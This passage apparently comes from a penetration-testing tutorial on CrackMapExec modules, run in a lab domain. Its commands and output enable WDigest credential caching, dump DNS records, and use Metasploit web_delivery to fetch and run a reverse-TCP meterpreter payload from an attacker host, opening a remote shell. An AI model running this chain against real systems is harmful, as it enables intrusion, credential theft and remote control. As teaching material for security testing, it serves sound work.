root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M wdigest -o ACTION=enable
[-] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slin
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
WDIGEST     192.168.1.105   445    WIN-S0V7KMTVLD2  [+] UseLogonCredential registry key created successfully
```

And as you can see in the image above, the registry key is created.

Module: enum_dns

This module harvests all the information about the target DNS and displays it on the console. To use this module, use the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M enum_dns
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M enum_dns
[-] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slinky.p
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KM
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Domains retrieved: ['_msdcs.ignite.local', 'ignite.local']
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2  Results for _msdcs.ignite.local
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2  Record Type: CNAME
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      8d93763c-4e7f-4798-8be8-cbe5efdbd671._msdcs.ignite.local: WIN-S0V7
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2  Record Type: NS
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      _msdcs.ignite.local: win-s0v7kmtvld2.ignite.local.
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      _msdcs.ignite.local: win-s0v7kmtvld2.ignite.local.
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2  Record Type: SOA
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      _msdcs.ignite.local: win-s0v7kmtvld2.ignite.local. hostmaster.igni
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2  Results for ignite.local
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2  Record Type: A
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      DESKTOP-BSH36E2.ignite.local: 192.168.1.176
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      DESKTOP-LU7L00B.ignite.local: 192.168.1.107
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      DESKTOP-RGP2O9L.ignite.local: 192.168.1.106
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      exchange.ignite.local: 192.168.1.110
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      ignite.local: 192.168.1.105
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      win-s0v7kmtvld2.ignite.local: 192.168.1.105
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2  Record Type: NS
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      ignite.local: win-s0v7kmtvld2.ignite.local.
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2  Record Type: SOA
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2      ignite.local: win-s0v7kmtvld2.ignite.local. hostmaster.ignite.loca
ENUM_DNS    192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Saved raw output to DNS-Enum-192.168.1.105-2020-05-02_154108.log
```

And as you can see in the image above all the information is dumped on the console.

Module: web_delivery

To this module, first open Metasploit Framework using the command '**msfconsole**' and then type the following set of commands to initiate web_delivery:

```
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost <local IP>
set srvhost <local IP>
exploit
```

```
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target  2
target => 2
msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set lhost 192.168.1.112
lhost => 192.168.1.112
msf5 exploit(multi/script/web_delivery) > set srvhost 192.168.1.112
srvhost => 192.168.1.112
msf5 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.112:4444
[*] Using URL: http://192.168.1.112:8080/rlNdPdZQMeYWLF
[*] Server started.
```

It will create a link as it is shown in the image above. Copy that link and remotely execute it in the target machine through CME using the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M web_delivery
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M web_delivery -o URL=http://192.168.1.112:8080/rlNdPdZQMeYWLF
[-] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slinky.py: No module named 'pylnk3'
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (sig
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
WEB_DELI ... 192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Executed web-delivery launcher
```

And once the above command is executed successfully, you will have the meterpreter session as shown in the following image:

```
msf5 exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                     Information
  --  ----  ----                     -----------
  1         meterpreter x86/windows  IGNITE\Administrator @ WIN-S0V7KMTVLD2

msf5 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN-S0V7KMTVLD2
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : IGNITE
Logged On Users : 4
Meterpreter     : x86/windows
```


Conclusion

Enumeration is an intense task in any Penetration Testing as well as Red Team Assessment. But we saw that with the help of Crackmapexec or CME it seems quite easier and faster. Lateral Movement can take a huge amount of time if not done properly in an environment. But CME provides us with this functionality in just a single execution that any script kiddie can manipulate and perform. Overall this proves that CME is an important tool for Situational Awareness and Lateral Movement and it should be in every pentester's arsenal.